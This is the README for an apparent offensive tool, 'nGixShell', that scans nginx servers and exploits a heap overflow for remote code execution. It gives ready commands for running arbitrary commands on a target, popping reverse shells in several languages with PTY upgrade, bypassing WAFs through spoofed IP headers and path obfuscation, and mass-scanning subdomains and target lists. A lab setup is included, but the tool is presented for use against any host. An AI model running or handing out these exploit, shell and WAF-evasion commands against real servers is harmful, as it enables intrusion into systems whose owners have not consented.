nGixshell

---

nGixShell is an nginx CVE scanner and RCE exploit framework. It ships a proof-of-concept for CVE-2026-42945 (CVSS 3.1 8.1 HIGH per F5/NVD) — a heap buffer overflow in ngx_http_rewrite_module — and a scanner covering 64 nginx CVEs with automated HTTP probes, fingerprinting, WAF detection/bypass, web security auditing, and report generation.

Zero external dependencies. Pure Python 3 stdlib.

Exploit prerequisites (read first). --cmd / --shell only work when all of these are true: the target is x86_64, the vulnerable rewrite+set config is present, ASLR is disabled, and the heap/libc addresses were calibrated for that exact build (calibrate.py → --build-file). See Exploit Requirements. The scanner itself has no such requirements.

---

Quick Start

# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build

# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321

# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
    --spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
    --build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

No flags required — pointing the tool at a target runs everything automatically.
TLS is auto-detected. nginx is fingerprinted even with server_tokens off.

system() does not capture stdout: --cmd 'id' runs but prints nothing back. Use a command with an observable side effect and confirm it with --verify-url http://target/pwned (HTTP 200 = confirmed).

---

Usage

python3 ngixshell.py [TARGET] [OPTIONS]

TARGET formats:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Modes

Flag	Description
(none)	Auto — fingerprint + CVE scan + web audit
--cmd 'CMD'	Execute command via CVE-2026-42945 RCE
--cmd-file FILE	Execute commands from file (joined with ;)
--shell	Pop a reverse shell
--shell-type TYPE	Payload: bash python perl php nc powershell (default: python)
--upgrade-shell	Auto-send PTY upgrade after shell connects
--verify-url URL	After a detected crash, fetch URL to confirm the command ran (200 = verified)
--subdomain-scan DOMAIN	Find vulnerable nginx on subdomains
--cve CVE-ID	Test one specific CVE
--list-cves	Print all 64 CVEs with CVSS and probe info
--list-candidates	Print heap address candidates
--dry-run	Fingerprint + scan only, no exploit
--target-file FILE	Scan multiple hosts from a file

Exploit tuning

Flag	Description
--build-file FILE	Recommended. JSON calibration profile from calibrate.py --json -o FILE
--offsets SPEC	Comma-separated hex heap offsets from calibrate.py (e.g. 0x5a427,0x60e67)
--heap-base HEX / --libc-base HEX / --system-addr HEX	Manual address overrides
--build KEY	Built-in profile (only the DepthFirst lab reference is shipped)
--rewrite-path PATH	Vulnerable rewrite location (default /api)
--spray-path PATH	proxy_pass-backed location used for the POST-body spray (default /upload; the bundled lab uses /spray)
--spray-mode partial|full	partial: short body + large Content-Length (bundled lab); full: complete body + X-Delay (DepthFirst lab)
--pad-a N / --pad-plus N	Trigger-path padding before the + run (defaults 349 / 969, from the vendor PoC)
--continue-on-crash	Keep trying the remaining heap candidates after an unverified crash
--tries N / --spray N / --body-len N	Trigger attempts per candidate / spray connections / spray body size

WAF Detection & Bypass

Flag	Description
--waf-detect	Detect WAF before scanning
--waf-bypass	Enable all bypass techniques (also runs detection)
--waf-ip IP	Spoof this IP in bypass headers (default: random RFC1918)

Bypass techniques (all active when --waf-bypass is set):

Technique	Detail
IP spoofing	X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP
UA rotation	11 real browser/bot User-Agents, randomised per request
Path obfuscation	double-slash, /./ padding, percent-encoding, case variation
Header case shuffle	randomises header name casing to break WAF pattern matching

Detected WAFs: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Web Audit

Runs automatically in scan mode. All modules can be skipped individually.

Flag	Description
--skip-headers	Skip HTTP security header audit
--skip-paths	Skip path/file discovery
--skip-vhosts	Skip virtual host enumeration
--skip-tls	Skip TLS protocol audit
--path-wordlist FILE	Extra paths to probe (one per line)

• Header audit — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, version-leaking headers
• Path discovery — 50+ paths; sentinel probe eliminates false positives from catch-all 403/301 rules
• Virtual host enumeration — requires status AND body diff to avoid default-block false positives
• TLS audit — tests TLS 1.0–1.3 support, certificate expiry, and self-signed detection
• stub_status — parses active connection metrics from /nginx_status if exposed

Connection

Flag	Description
--port PORT	Override port
--tls	Force TLS (auto-detected by default)
--proxy URL	Proxy: http://, https://, socks5://

HTTP

Flag	Description
--user-agent UA	Custom User-Agent
--auth USER:PASS	HTTP Basic auth
--cookie VALUE	Cookie header
--header NAME:VALUE	Extra header (repeatable)

Rate / Timing

Flag	Description
--rate-limit RPS	Max requests per second
--jitter MS	Random delay 0–MS ms between requests
--retry N	Retry inconclusive probes (default: 1)
--timeout-multiplier X	Scale all timeouts (default: 1.0)

Output

Flag	Description
--output FILE	Write log to FILE
--json	Print JSON summary at end (multi-target: {"targets": [...]})
--html-report [FILE]	Generate HTML report (one file per target in multi-target mode)
--verbose	Debug output